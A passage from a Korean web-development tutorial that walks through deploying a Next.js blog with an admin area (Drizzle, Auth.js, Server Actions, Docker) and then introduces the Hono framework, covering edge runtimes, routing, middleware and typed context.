restore-keys: next-${{ hashFiles('**/package-lock.json') }}-
// 로그 — 구조화해서 남기면 검색이 됩니다
import pino from "pino";
export const log = pino({ level: process.env.LOG_LEVEL ?? "info" });
// instrumentation.ts — 서버가 뜰 때 한 번 실행됩니다 (OpenTelemetry 등)
export async function register() {
if (process.env.NEXT_RUNTIME === "nodejs") {
await import("./instrumentation.node"); // Sentry · OTel 초기화
}
}
app/api/health/route.ts 에서 DB 에 select 1 까지 확인하면
무중단 배포와 오토스케일링이 "떴지만 DB 를 못 보는 인스턴스"에
트래픽을 보내는 사고를 막습니다.
배포 전 체크리스트
| 항목 | 확인 방법 |
|---|---|
| 빌드가 로컬에서 성공 | npm run build && npm run start 로 프로덕션 모드 확인 |
| 페이지 전략이 의도대로 | 빌드 출력표에서 ○ ● ƒ 기호 확인(f06) |
| 환경 변수 전부 있음 | lib/env.ts 의 zod 검증이 통과하는지 |
| 비밀이 클라이언트에 없음 | grep -r "SECRET" .next/static 로 실제로 확인 |
| DB 마이그레이션 순서 | 배포 파이프라인의 별도 단계에서만 실행(f09) |
| 이미지 도메인 허용 | remotePatterns 누락 시 배포 후에 깨집니다 |
| 에러 페이지 | error.tsx·not-found.tsx·global-error.tsx |
| 보안 헤더 | next.config 의 headers() 또는 Nginx 에서 |
next dev 에서만 테스트하고 배포하지 마세요.
개발 서버는 캐시를 거의 쓰지 않고, 서버 컴포넌트를 매번 새로 실행하며,
generateStaticParams 도 돌지 않습니다.
배포에서 처음 나타나는 버그의 대부분이 이 차이에서 옵니다 —
최소한 한 번은 build && start 로 확인하세요.
git push 로 끝이고,
자체 호스팅은 output: "standalone" + Docker + Nginx 조합이 정석입니다.
직접 챙길 것은 ISR 공유 캐시(cacheHandler) · 이미지 최적화(sharp) · proxy_buffering off 셋입니다.
NEXT_PUBLIC_ 변수는 빌드 시점에 박히므로 런타임에 못 바꾸고,
환경 변수는 zod 로 검증해 빌드에서 걸러 내세요.실전 프로젝트 — 블로그 + 관리자를 끝까지
앞의 열두 절을 하나로 잇습니다. 공개 블로그(ISR) + 로그인 관리자(동적) 한 벌을 App Router · RSC · Server Action · Auth.js · Drizzle · Docker 로 만들고 배포합니다. 여기 있는 코드는 순서대로 따라 하면 실제로 도는 것만 담았습니다.
① 폴더 구조
my-blog/
src/
app/
layout.tsx 폰트 · 전역 CSS · Providers
globals.css
not-found.tsx
(blog)/ ← 공개 (라우트 그룹)
layout.tsx 헤더 + 푸터
page.tsx 글 목록 ISR 1시간
posts/[slug]/
page.tsx 글 상세 ISR 1시간
opengraph-image.tsx 공유 카드
(admin)/
layout.tsx 사이드바 (세션 확인)
admin/
page.tsx 글 관리 목록 동적
posts/new/page.tsx 글쓰기
posts/[id]/edit/page.tsx
login/page.tsx
api/auth/[...nextauth]/route.ts
sitemap.ts robots.ts
components/ui/ shadcn
db/
index.ts schema.ts
lib/
env.ts utils.ts
features/posts/
actions.ts "use server"
queries.ts 읽기 전용 쿼리
schema.ts zod 스키마
post-form.tsx "use client"
auth.ts
middleware.ts
drizzle/ 마이그레이션 SQL
Dockerfile .dockerignore
next.config.ts drizzle.config.ts
features/posts)에 액션·쿼리·스키마·폼을 모으는 것이 요령입니다.
리액트 탭의 features/ 구조가 그대로 이어지고,
라우트 폴더에는 화면만 남아 App Router 트리가 읽기 쉬워집니다.
② 스키마와 DB
// src/db/schema.ts
import { pgTable, serial, text, boolean, timestamp, index } from "drizzle-orm/pg-core";
export const users = pgTable("users", {
id: text("id").primaryKey(),
email: text("email").notNull().unique(),
passwordHash: text("password_hash").notNull(),
role: text("role").notNull().default("user"),
});
export const posts = pgTable("posts", {
id: serial("id").primaryKey(),
slug: text("slug").notNull().unique(),
title: text("title").notNull(),
body: text("body").notNull(),
published: boolean("published").notNull().default(false),
authorId: text("author_id").notNull().references(() => users.id),
createdAt: timestamp("created_at").notNull().defaultNow(),
updatedAt: timestamp("updated_at").notNull().defaultNow(),
}, (t) => [index("posts_pub_created_idx").on(t.published, t.createdAt)]);
export type Post = typeof posts.$inferSelect;
// src/db/index.ts
import "server-only";
import { neon } from "@neondatabase/serverless";
import { drizzle } from "drizzle-orm/neon-http";
import * as schema from "./schema";
import { env } from "@/lib/env";
export const db = drizzle(neon(env.DATABASE_URL), { schema });
npx drizzle-kit generate # drizzle/0000_xxx.sql 생성
npx drizzle-kit migrate # 적용
③ 읽기 — 목록과 상세 (ISR + 태그)
// src/features/posts/queries.ts
import "server-only";
import { unstable_cache } from "next/cache";
import { db } from "@/db";
import { posts } from "@/db/schema";
import { desc, eq, and } from "drizzle-orm";
export const listPublished = unstable_cache(
async () =>
db.select().from(posts)
.where(eq(posts.published, true))
.orderBy(desc(posts.createdAt)).limit(50),
["posts-list"],
{ revalidate: 3600, tags: ["posts"] },
);
export const getBySlug = unstable_cache(
async (slug: string) =>
db.query.posts.findFirst({
where: and(eq(posts.slug, slug), eq(posts.published, true)),
}),
["post-by-slug"],
{ revalidate: 3600, tags: ["posts"] },
);
// src/app/(blog)/posts/[slug]/page.tsx
import { notFound } from "next/navigation";
import { getBySlug, listPublished } from "@/features/posts/queries";
export const revalidate = 3600;
export async function generateStaticParams() {
const rows = await listPublished(); // 최신 50개(limit 50)
return rows.map((p) => ({ slug: p.slug })); // 나머지는 첫 요청 때 생성
}
export async function generateMetadata({ params }) {
const post = await getBySlug((await params).slug);
return post ? { title: post.title, description: post.body.slice(0, 120) }
: { title: "찾을 수 없는 글" };
}
export default async function PostPage({ params }) {
const post = await getBySlug((await params).slug);
if (!post) notFound();
// ★ unstable_cache 는 결과를 JSON 으로 저장합니다 — 캐시 적중 때 Date 가 문자열로 옵니다
const created = new Date(post.createdAt);
return (
<article className="prose mx-auto py-10">
<h1>{post.title}</h1>
<time dateTime={created.toISOString()}>
{created.toLocaleDateString("ko-KR")}
</time>
<div>{post.body}</div>
</article>
);
}
④ 쓰기 — Server Action
// src/features/posts/schema.ts
import { z } from "zod";
export const PostInput = z.object({
title: z.string().min(2, "제목은 2자 이상"),
slug: z.string().regex(/^[a-z0-9-]+$/, "영문 소문자·숫자·하이픈만"),
body: z.string().min(10, "본문이 너무 짧습니다"),
published: z.coerce.boolean().default(false),
});
export type PostInput = z.infer<typeof PostInput>;
// src/features/posts/actions.ts
"use server";
import { revalidateTag } from "next/cache";
import { redirect } from "next/navigation";
import { auth } from "@/auth";
import { db } from "@/db";
import { posts } from "@/db/schema";
import { eq } from "drizzle-orm";
import { PostInput } from "./schema";
export type State = { errors?: Record<string, string[]>; message?: string };
async function requireAdmin() {
const session = await auth(); // ★ 액션마다
if (session?.user?.role !== "admin") throw new Error("권한이 없습니다");
return session.user;
}
export async function createPost(prev: State, fd: FormData): Promise<State> {
const user = await requireAdmin();
const parsed = PostInput.safeParse(Object.fromEntries(fd));
if (!parsed.success)
return { errors: parsed.error.flatten().fieldErrors };
try {
await db.insert(posts).values({ ...parsed.data, authorId: user.id });
} catch (e: any) {
if (String(e?.message).includes("unique"))
return { errors: { slug: ["이미 쓰인 주소입니다"] } };
return { message: "저장에 실패했습니다" };
}
revalidateTag("posts"); // ★ 캐시 무효화
redirect("/admin"); // ★ try 밖
}
export async function deletePost(id: number) {
await requireAdmin();
await db.delete(posts).where(eq(posts.id, id));
revalidateTag("posts");
}
⑤ 관리자 화면과 폼
// src/app/(admin)/layout.tsx — 레이아웃에서 한 번 더 막습니다
import { auth } from "@/auth";
import { redirect } from "next/navigation";
export default async function AdminLayout({ children }) {
const session = await auth();
if (session?.user?.role !== "admin") redirect("/login?next=/admin");
return (
<div className="grid grid-cols-[220px_1fr]">
<aside className="border-r p-4"><AdminNav /></aside>
<main className="p-6">{children}</main>
</div>
);
}
// src/features/posts/post-form.tsx
"use client";
import { useActionState } from "react";
import { useFormStatus } from "react-dom";
import { createPost, type State } from "./actions";
function Submit() {
const { pending } = useFormStatus();
return <button disabled={pending}>{pending ? "저장 중…" : "발행"}</button>;
}
export function PostForm() {
const [state, action] = useActionState(createPost, {} as State);
return (
<form action={action} className="grid gap-3 max-w-xl">
<input name="title" placeholder="제목" />
<Err msgs={state.errors?.title} />
<input name="slug" placeholder="hello-next" />
<Err msgs={state.errors?.slug} />
<textarea name="body" rows={12} />
<Err msgs={state.errors?.body} />
<label><input type="checkbox" name="published" value="true" /> 공개</label>
{state.message && <p role="alert">{state.message}</p>}
<Submit />
</form>
);
}
const Err = ({ msgs }: { msgs?: string[] }) =>
msgs?.length ? <p role="alert" className="text-sm text-red-500">{msgs[0]}</p> : null;
⑥ 배포까지 — 명령 순서
# 0) 로컬 확인 — 개발 서버가 아니라 프로덕션 모드로
npm run build && npm run start
# 빌드 출력표에서 (blog) 는 ○/● , (admin) 은 ƒ 인지 확인 ★
# 1) 이미지 빌드 (공개 환경 변수는 빌드 인자로)
docker build --build-arg NEXT_PUBLIC_SITE_URL=https://example.com -t my-blog:1 .
# 2) 마이그레이션은 '별도 단계'에서 한 번만
DATABASE_URL=$DIRECT_URL npx drizzle-kit migrate
# 3) 실행 (서버 전용 비밀은 런타임에)
docker run -d --name blog -p 3000:3000 \
-e DATABASE_URL="$DATABASE_URL" \
-e AUTH_SECRET="$AUTH_SECRET" \
-e AUTH_URL="https://example.com" \
my-blog:1
# 4) 확인
curl -s https://example.com/posts/hello | head -40 # 본문이 HTML 안에 있나
curl -s -o /dev/null -w "%{time_starttransfer}\n" https://example.com/
revalidateTag 가 안 걸린 것),
③ 로그아웃 상태에서 /admin 이 로그인으로 튕기는지.
직접 이어서 해 볼 것 — 난이도 순서
| 단계 | 과제 | 배우는 것 |
|---|---|---|
| 1주차 | 목록 · 상세 · 정적 생성까지 완성. 데이터는 JSON 파일로 | f01~f03 — App Router 와 RSC |
| 2주차 | Drizzle + Postgres 붙이고 ISR · revalidateTag 넣기 | f04 · f09 — 캐시와 DB |
| 3주차 | Auth.js 로그인 + 관리자 CRUD 를 Server Action 으로 | f05 · f07 · f08 |
| 4주차 | Tailwind·shadcn 으로 다듬고 OG 이미지 · sitemap 추가 | f10 · f11 |
| 5주차 | Docker 로 자체 호스팅 · Nginx · 헬스체크 · 로그 | f12 |
| 그다음 | 댓글(낙관적 업데이트) · 이미지 업로드 · 검색 · 조회수(동적 조각 + PPR) | f05 · f06 심화 |
npm run build 출력표에서 그 페이지의 기호,
② 개발 서버 터미널의 Cache missed reason,
③ 브라우저 네트워크 탭에서 RSC 요청(?_rsc=) 의 응답.
이 셋이면 "왜 이렇게 도는지"의 대부분이 설명됩니다.
await params 를 빠뜨림,
② "use client" 를 트리 위쪽에 붙임,
③ 저장했는데 revalidateTag 를 안 부름,
④ redirect() 를 try 안에서 부름,
⑤ 권한 검사를 미들웨어에만 둠.
이 탭을 마친 뒤의 지도
- 타입을 더 단단히 — 🔷 TypeScript 탭.
satisfies·제네릭·zod 추론이 App Router 코드의 품질을 크게 바꿉니다 - API 서버를 따로 두게 되면 — 🚂 Express · 🐈 NestJS 탭. 모바일 앱이 붙는 순간 필요해집니다
- 트래픽이 커지면 — ⚡ 대규모 트래픽 탭. 캐시 계층 · 큐 · 읽기 복제본으로 이어집니다
- 화면 기본기를 다시 — ⚛️ React · 🎨 CSS 탭. 렌더 원인 추적과 레이아웃은 여전히 여기서 옵니다
- 데스크톱·모바일로 — 🖥 Electron · 📱 React Native 탭
한 장 요약 — 열세 절의 결론
| 질문 | 답 |
|---|---|
| 어디서 렌더되나 | 기본은 서버. 훅이 필요할 때만 "use client" |
| 데이터는 어떻게 | 서버 컴포넌트에서 await. API 라우트는 대개 불필요 |
| 저장은 어떻게 | Server Action + zod + revalidateTag |
| 캐시는 | 길게 잡고 태그로 지우기 |
| 느릴 때는 | Suspense 로 조각내고 번들을 줄이기 |
| 권한은 | 미들웨어는 문지기, 진짜 검사는 액션 안 |
| 배포는 | Vercel 또는 standalone + Docker |
unstable_cache + 태그로 CDN 에서 끝내고,
쓰기는 Server Action 안에서 권한 검사 → 검증 → 저장 → revalidateTag 로 마칩니다.
배포는 output: "standalone" 도커 이미지 하나이고,
확인은 빌드 출력표의 기호와 curl 로 받아 본 HTML 두 가지로 합니다.
이 한 벌을 직접 만들어 보면 App Router 는 더 이상 낯설지 않습니다.Web 표준 위에
얇게 얹은 서버는
어디서든 돕니다
Express 의 req·res 는 Node 전용 객체였습니다.
그래서 Express 코드는 Node 밖으로 한 발짝도 못 나갑니다.
Hono 는 브라우저에도 있는 표준 Request·Response 만 쓰기 때문에
같은 파일이 Node · Bun · Deno · Cloudflare Workers · Vercel · Deno Deploy 여섯 곳에서 그대로 돕니다.
여기에 아이솔레이트 방식이 더해지면 콜드 스타트가 수백 ms 에서 수 ms 로 내려가고,
서버가 사용자 가까운 도시에서 실행됩니다.
이 탭을 마치면 Express 로 짜던 API 를 엣지에 올려 전 세계에 배포하고, 그때 생기는 DB·상태·비용 문제를 스스로 풀 수 있습니다.
왜 다시 경량인가 — Express 가 못 가는 자리
Express 가 나쁜 게 아닙니다. Express 가 서 있는 땅이 Node 하나뿐이라는 것이 문제입니다.
2026년의 배포 자리는 컨테이너 말고도 다섯 군데가 더 생겼고, 그 다섯 곳에는 node:http 가 없습니다.
Express 의 req·res 는 무엇인가
// Express 핸들러의 진짜 정체
import type { IncomingMessage, ServerResponse } from "node:http";
app.get("/hi", (req, res) => {
// req 는 node:http 의 IncomingMessage 를 확장한 것
// res 는 node:http 의 ServerResponse 를 확장한 것
// → 둘 다 Node 런타임이 있어야만 존재합니다
req.socket.remoteAddress; // TCP 소켓을 직접 만짐
res.writeHead(200); // 헤더를 스트림에 밀어 넣는 방식
res.end("hi");
});
// Cloudflare Workers 에 그대로 올리면
// Error: Could not resolve "node:http"
// 또는 실행 중 TypeError: res.writeHead is not a function
node:http 의 서버 부분은 대상이 아닙니다.
아이솔레이트는 포트를 열어 소켓을 받는 구조가 아니기 때문입니다.
요청은 플랫폼이 이미 받아서 객체 하나로 넘겨 줍니다.
Web 표준 모델 — 함수 하나가 전부
// 브라우저의 fetch 가 쓰던 그 Request · Response 입니다
export default {
async fetch(request: Request): Promise<Response> {
const url = new URL(request.url); // 표준 URL
if (url.pathname === "/hi") {
return new Response(JSON.stringify({ ok: true }), {
headers: { "content-type": "application/json" },
});
}
return new Response("not found", { status: 404 });
},
};
// ★ 핵심 — "요청 객체를 받아 응답 객체를 돌려주는 순수 함수"
// 소켓도, 스트림 쓰기도, next() 도 없습니다.
// 그래서 어느 런타임이든 이 모양만 지원하면 코드가 돕니다.
fetch() 를 쓸 때
받았던 그 Response 이고, res.json() 이 아니라
await request.json() 입니다. 클라이언트에서 쓰던 지식이 서버로 그대로 옵니다.
한 단계 더 — 콜드 스타트와 요금이 설계를 바꿉니다 🟡 중급
콜드 스타트 — 무엇이 느린가
[컨테이너 / Lambda 방식] 한 번도 안 쓰인 함수에 요청이 오면
1. 이미지 내려받기 · 컨테이너 기동 100~400ms
2. Node 프로세스 시작 30~ 80ms
3. import 한 모듈 전부 평가 50~600ms ★ 여기가 제일 큼
4. DB 커넥션 풀 만들기 20~200ms
────────────────────────────────────────────────
합계 200ms ~ 1.5s (그 뒤 요청은 1ms — 프로세스가 살아 있으므로)
[아이솔레이트 방식] V8 아이솔레이트만 새로 만듭니다
1. 미리 데워 둔 V8 안에 격리 공간 생성 < 1ms
2. 이미 파싱해 둔 스냅샷 복원 1~ 5ms
────────────────────────────────────────────────
합계 ~5ms · 프로세스도 컨테이너도 만들지 않습니다
import 입니다.
import { PrismaClient } 한 줄로 수 MB 가 로드되고,
AWS SDK 전체를 임포트하면 그것만으로 수백 ms 가 붙습니다.
엣지에서는 번들 크기가 곧 지연입니다(g08).
요금 모델이 다릅니다
| 인스턴스 방식 | 요청당 방식 | |
|---|---|---|
| 과금 단위 | 떠 있는 시간 | 요청 수 + CPU 시간 |
| 트래픽 0일 때 | 그대로 냄 | 0원 |
| 대기(DB 응답) | 돈이 나감 | 대개 무료 |
| 갑작스런 폭주 | 오토스케일 지연 | 즉시 확장 |
| 꾸준한 고부하 | 더 쌈 | 비싸질 수 있음 |
| 긴 작업 | 제한 없음 | 수십 초 상한 |
런타임 한눈에 — 여섯 자리 비교 🟢 기초
| Node 24 | Bun 1.x | Deno 2 | Workers | Vercel | Deno Deploy | |
|---|---|---|---|---|---|---|
| 실행 엔진 | V8 | JavaScriptCore | V8 | V8 아이솔레이트 | V8 / Node | V8 아이솔레이트 |
| 콜드 스타트 | 수십~수백 ms | Node 보다 짧음 | 수십 ms | ~5ms | 모드에 따라 | ~10ms |
| 파일 시스템 | 있음 | 있음 | 권한 필요 | 없음 | 사실상 없음 | 없음 |
| TCP 소켓 | 자유 | 자유 | 권한 필요 | 제한적 | 제한적 | 제한적 |
| CPU 시간 | 무제한 | 무제한 | 무제한 | 요청당 상한 | 플랜별 상한 | 상한 있음 |
| 지리 분산 | 내가 배포 | 내가 배포 | 내가 배포 | 기본 제공 | 기본 제공 | 기본 제공 |
| Express | ✅ | ✅ | 대부분 ✅ | ❌ | Node 모드만 | ❌ |
| Hono | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ |
Hono 시작 — Express 를 아는 사람이 가장 빨리 배웁니다
개념이 새로 생기지 않습니다. app · 라우트 · 미들웨어 세 가지가 그대로 있고,
(req, res, next) 가 (c, next) 하나로 합쳐졌을 뿐입니다.
다른 점은 딱 하나 — res.json() 이 아니라 return c.json() 입니다.
설치 — 템플릿이 런타임까지 골라 줍니다
npm create hono@latest my-api · Bun 이면 bun create hono my-apinpm create hono@latest my-api
# ? Which template do you want to use?
# cloudflare-workers ← 엣지에 올릴 거면 이것 (g07·g12)
# bun ← Bun 으로 돌릴 거면
# deno
# nodejs ← 지금 쓰던 서버 옆에 붙일 거면
# vercel · netlify · aws-lambda · fastly ...
cd my-api && npm i
npm run dev # http://localhost:8787 (workers 템플릿 기준)
# ★ 기존 프로젝트에 얹기 — 패키지 하나면 됩니다
npm i hono
npm i @hono/node-server # Node 에서 돌릴 때만 추가
nodejs 로 시작해서 익숙한 환경에서 배우고,
나중에 cloudflare-workers 로 옮기세요(g12).
첫 서버 — 이게 전부입니다
// src/index.ts
import { Hono } from "hono";
const app = new Hono();
app.get("/health", (c) => c.json({ ok: true }));
app.get("/users/:id", async (c) => {
const id = c.req.param("id"); // 경로 변수
const user = await findUser(id);
if (!user) return c.json({ message: "없습니다" }, 404);
return c.json(user); // ★ return 을 잊지 마세요
});
app.post("/users", async (c) => {
const body = await c.req.json(); // 본문 파싱 (미들웨어 불필요)
const created = await createUser(body);
return c.json(created, 201);
});
export default app; // ← Workers · Deno · Bun 은 이 한 줄이 진입점
return.
Express 는 res.json() 을 호출하면 응답이 나갔지만,
Hono 는 핸들러가 Response 를 돌려줘야 응답이 됩니다.
return 을 빼면 404 Not Found 가 나가고 아무 에러도 안 납니다.
초보가 가장 오래 헤매는 지점입니다.
나란히 보기 — Express 코드를 Hono 로 🟢 기초
Express — Node 에서만
import express from "express";
const app = express();
app.use(express.json()); // 파서 필요
app.get("/u/:id", (req, res) => {
const id = req.params.id;
const q = req.query.page; // 문자열
res.setHeader("x-a", "1");
res.status(200).json({ id, q });
});
app.post("/u", (req, res) => {
const body = req.body; // 파서가 채움
res.status(201).json(body);
});
app.listen(3000);
Hono — 여섯 런타임 전부
import { Hono } from "hono";
const app = new Hono();
// 파서 미들웨어가 필요 없습니다
app.get("/u/:id", (c) => {
const id = c.req.param("id");
const q = c.req.query("page"); // 문자열
c.header("x-a", "1");
return c.json({ id, q }); // 200 기본
});
app.post("/u", async (c) => {
const body = await c.req.json();
return c.json(body, 201);
});
export default app;
| 하고 싶은 일 | Express | Hono |
|---|---|---|
| 경로 변수 | req.params.id | c.req.param("id") |
| 쿼리 하나 | req.query.page | c.req.query("page") |
| 쿼리 전부 | req.query | c.req.query() |
| 같은 키 여러 개 | 배열로 옴 | c.req.queries("tag") |
| JSON 본문 | req.body (파서 필요) | await c.req.json() |
| 폼 본문 | express.urlencoded() | await c.req.parseBody() |
| 헤더 읽기 | req.headers["x-a"] | c.req.header("x-a") |
| JSON 응답 | res.json(x) | return c.json(x) |
| 상태 코드 | res.status(201).json(x) | return c.json(x, 201) |
| 텍스트 · HTML | res.send | c.text · c.html |
| 리다이렉트 | res.redirect("/a") | return c.redirect("/a") |
| 원본 요청 | req 자체 | c.req.raw (표준 Request) |
| 404 처리 | 맨 끝 app.use | app.notFound(...) |
| 에러 처리 | 인자 4개 미들웨어 | app.onError(...) |
라우팅 — 쪼개고 붙이기 🟡 중급
경로 패턴과 라우터 분리
app.get("/posts/:id", ...); // /posts/3
app.get("/posts/:id/c/:cid", ...); // 여러 개
app.get("/files/*", ...); // 와일드카드
app.get("/posts/:date{[0-9]{8}}", ...); // 정규식 제약 ★
app.get("/img/:name{.+\\.png$}", ...);
app.on(["GET", "POST"], "/both", ...); // 여러 메서드
app.all("/any", ...);
// ★ 구체적인 경로를 먼저 — Express 와 같은 규칙입니다
app.get("/users/me", getMe);
app.get("/users/:id", getUser);
// 라우터 분리 — Express 의 Router 자리
// routes/posts.ts
const posts = new Hono();
posts.get("/", list);
posts.get("/:id", detail);
export default posts;
// index.ts
app.route("/api/posts", posts); // app.use("/api/posts", r) 자리
// 앞에 공통 경로 붙이기
const api = new Hono().basePath("/api/v1");
api.get("/ping", (c) => c.text("pong")); // → /api/v1/ping
같은 코드를 여섯 곳에 올리는 법
// ── src/app.ts : 어디서도 런타임을 모릅니다 (공통) ──
import { Hono } from "hono";
export const app = new Hono();
app.get("/", (c) => c.text("hello"));
// ── ① Cloudflare Workers / Deno Deploy / Vercel ──
// src/worker.ts
import { app } from "./app";
export default app; // fetch 핸들러로 그대로 쓰입니다
// ── ② Deno 로컬 ──
Deno.serve(app.fetch);
// ── ③ Bun ──
export default { port: 3000, fetch: app.fetch };
// ── ④ Node ──
import { serve } from "@hono/node-server";
serve({ fetch: app.fetch, port: 3000 });
// ★ 네 경우 모두 app.fetch 를 넘길 뿐입니다.
// app.fetch 의 타입은 (req: Request) => Response | Promise<Response>
fs·path·crypto(Node 판)·네이티브 모듈을 쓰는 순간
그 코드는 Node 에 묶입니다. 이식성은 Hono 가 아니라 내 의존성이 결정합니다(g08).
@hono/node-server 로 Node 위에서도 잘 돌기 때문에
새 엔드포인트만 Hono 로 짜서 기존 Express 앱 옆에 리버스 프록시로 붙여 두는 방식이 가장 안전합니다.
옮길 준비가 되면 그 조각들만 Workers 로 올리면 됩니다.
c.req.param · c.req.query · await c.req.json() ·
return c.json() 네 개이고,
나머지는 Express 지식이 그대로 통합니다. 다만 return 을 빼면 404 가 나간다는 것만 기억하세요.미들웨어 · 타입 — 양파 구조와 c.set
Express 미들웨어는 줄 서서 통과하는 관문이었습니다. Hono 미들웨어는 양파입니다 —
await next() 앞이 내려가는 길, 뒤가 올라오는 길입니다.
이 한 줄 덕분에 응답을 만진 뒤의 처리가 훨씬 자연스러워집니다.
res.on("finish") 로 하던 일이 await next() 다음 줄이 됩니다.내장 미들웨어 — 대부분 이미 있습니다
import { Hono } from "hono";
import { logger } from "hono/logger";
import { cors } from "hono/cors";
import { compress } from "hono/compress";
import { secureHeaders } from "hono/secure-headers";
import { bearerAuth } from "hono/bearer-auth";
import { jwt } from "hono/jwt";
import { cache } from "hono/cache";
import { etag } from "hono/etag";
import { requestId } from "hono/request-id";
import { timing } from "hono/timing";
import { prettyJSON } from "hono/pretty-json";
import { csrf } from "hono/csrf";
const app = new Hono();
app.use(requestId()); // c.get("requestId")
app.use(logger());
app.use(secureHeaders()); // helmet 자리
app.use("/api/*", cors({
origin: ["https://app.example.com"],
allowMethods: ["GET", "POST", "PATCH", "DELETE"],
credentials: true,
maxAge: 86400,
}));
app.use("/admin/*", bearerAuth({
verifyToken: async (token, c) => token === c.env.ADMIN_TOKEN, // env 값은 요청 때 읽습니다
}));
app.use("/api/*", jwt({ secret: "값은 env 에서" })); // c.get("jwtPayload")
app.get("/static/*",
cache({ cacheName: "assets", cacheControl: "max-age=3600" }));
npm i 할 것이 없어서 번들이 안 커집니다 — 엣지에서는 이게 곧 콜드 스타트입니다.
compress() 는 Workers 에서는 쓰지 마세요 — 플랫폼이 이미 압축해 줍니다.
등록 순서와 경로 범위
// ★ Express 와 똑같이 "등록 순서 = 통과 순서" 입니다
app.use(logger()); // 전부에 걸림
app.use("/api/*", auth()); // /api 아래에만
app.get("/api/me", handler); // 위 auth 를 통과한 뒤 실행
// ❌ 가장 흔한 사고 — 라우트를 먼저 등록해 놓고 미들웨어를 뒤에
app.get("/api/me", handler);
app.use("/api/*", auth()); // 아무도 안 막힙니다
// ★ 라우트 하나에만 붙이기 (Express 와 같은 방식)
app.get("/admin", auth(), adminOnly(), handler);
// ★ 라우터 단위로 붙이기
const admin = new Hono();
admin.use(auth()); // 이 라우터 전체
admin.get("/stats", statsHandler);
app.route("/admin", admin);
// 404 · 에러는 미들웨어가 아니라 전용 훅입니다
app.notFound((c) => c.json({ code: "NOT_FOUND" }, 404));
app.onError((err, c) => {
if (err instanceof HTTPException) return err.getResponse();
console.error(err); // Workers 로그로 나갑니다
return c.json({ code: "INTERNAL", requestId: c.get("requestId") }, 500);
});
app.use("/api/*") 의 별표를 빼지 마세요.
app.use("/api") 는 정확히 그 경로에만 걸립니다.
Express 의 app.use("/api", m) 이 하위 전체를 덮던 것과 달라서
인증이 조용히 비는 사고가 납니다.
타입 — c.set / c.get 을 타입 안전하게 🟡 중급
Express 의 req.user 자리
// Express 에서는 전역 타입을 확장해야 했습니다 (오염됨)
// declare global { namespace Express { interface Request { user?: U } } }
//
// Hono 는 제네릭으로 앱마다 따로 선언합니다 ★
type Variables = {
user: { id: string; role: "user" | "admin" };
requestId: string;
};
type Bindings = { // Workers 의 env (g07)
DB: D1Database;
KV: KVNamespace;
JWT_SECRET: string;
};
const app = new Hono<{ Bindings: Bindings; Variables: Variables }>();
app.use(async (c, next) => {
const u = await verify(c.req.header("authorization"), c.env.JWT_SECRET);
c.set("user", u); // ✅ 타입이 맞는지 검사합니다
// c.set("usr", u); // ❌ 컴파일 에러 — 오타를 잡아 줍니다
await next();
});
app.get("/me", (c) => {
const user = c.get("user"); // ✅ { id, role } 로 추론됩니다
return c.json(user);
});
req.user 는 전역 Request 타입을 고쳐야 해서
앱이 두 개면 타입이 섞였습니다. Hono 는 앱 인스턴스마다 타입이 붙어서
모노레포에서 여러 앱을 한 저장소에 둘 때 충돌이 없습니다.
커스텀 미들웨어 — createMiddleware
import { createMiddleware } from "hono/factory";
import { HTTPException } from "hono/http-exception";
// ① 인증 — 타입이 붙은 미들웨어
export const requireAuth = createMiddleware<{
Variables: { user: User };
Bindings: { JWT_SECRET: string };
}>(async (c, next) => {
const raw = c.req.header("authorization")?.slice(7);
if (!raw) throw new HTTPException(401, { message: "인증이 필요합니다" });
try {
c.set("user", await verifyJwt(raw, c.env.JWT_SECRET));
} catch {
throw new HTTPException(401, { message: "토큰이 유효하지 않습니다" });
}
await next(); // ★ 잊지 마세요
});
// ② 권한 — 인자를 받는 미들웨어는 "함수를 반환"
export const requireRole = (...roles: string[]) =>
createMiddleware<{ Variables: { user: User } }>(async (c, next) => {
if (!roles.includes(c.get("user").role))
throw new HTTPException(403, { message: "권한이 없습니다" });
await next();
});
// ③ 응답을 만지는 미들웨어 — await next() '뒤'가 진짜 무대
export const serverTiming = createMiddleware(async (c, next) => {
const t0 = Date.now();
await next();
c.res.headers.set("server-timing", `app;dur=${Date.now() - t0}`);
// ★ c.res 는 여기서 이미 만들어진 Response 입니다
});
app.get("/admin/x", requireAuth, requireRole("admin"), handler);
c.res 를 통째로 갈아 끼울 때는 주의하세요.
c.res = new Response(...) 처럼 바꾸면
먼저 붙은 헤더가 전부 날아갑니다. 헤더만 고칠 거라면
c.res.headers.set(...) 을 쓰세요.
실무에선 이렇게 — 엣지 미들웨어의 세 가지 함정 🔴 실무
① 전역 변수에 상태를 두지 마세요
// ❌ 아이솔레이트가 재사용되면 요청끼리 값이 섞입니다
let currentUser: User | null = null;
app.use(async (c, next) => { currentUser = await auth(c); await next(); });
// ❌ 인메모리 Rate Limit — 아이솔레이트가 수백 개라 의미가 없습니다
const hits = new Map<string, number>();
// ✅ 요청 범위 상태는 c.set / c.get 으로만
app.use(async (c, next) => { c.set("user", await auth(c)); await next(); });
// ✅ 프로세스 밖에 두어야 하는 것 → KV · Durable Objects (g07·g09)
const key = `rl:${c.req.header("cf-connecting-ip")}`;
const n = Number(await c.env.KV.get(key)) + 1;
if (n > 100) throw new HTTPException(429);
await c.env.KV.put(key, String(n), { expirationTtl: 60 });
② 무거운 초기화를 최상단에 두지 마세요
// ❌ 모듈 최상단 — 모든 요청 경로의 콜드 스타트에 얹힙니다
import { heavyThing } from "big-lib";
const parsed = buildHugeTable(); // 200ms
// ✅ 필요한 라우트 안에서 지연 로딩
app.get("/report", async (c) => {
const { renderPdf } = await import("./pdf"); // 이 경로만 비용을 냅니다
return c.body(await renderPdf(), 200, { "content-type": "application/pdf" });
});
// ✅ 한 번만 만들면 되는 것은 "게으른 싱글턴"으로
let cached: Table | undefined;
const table = () => (cached ??= buildHugeTable());
③ 미들웨어 개수가 곧 지연입니다
| 미들웨어 | 엣지에서 |
|---|---|
logger() | 운영에선 끄고 플랫폼 로그를 쓰세요 |
compress() | Workers 는 불필요 (이중 압축) |
prettyJSON() | 개발에서만 |
etag() | 본문을 다 읽어야 해서 스트리밍과 상극 |
secureHeaders() | 가볍습니다 — 항상 켜세요 |
app.use("/api/*", ...))이 그대로 성능이 됩니다.
async (c, next) => { …전 ; await next() ; …후 } 한 모양입니다.
요청 범위 값은 c.set/c.get, 플랫폼 자원은 c.env,
타입은 new Hono<{ Bindings, Variables }>() 로 붙입니다.
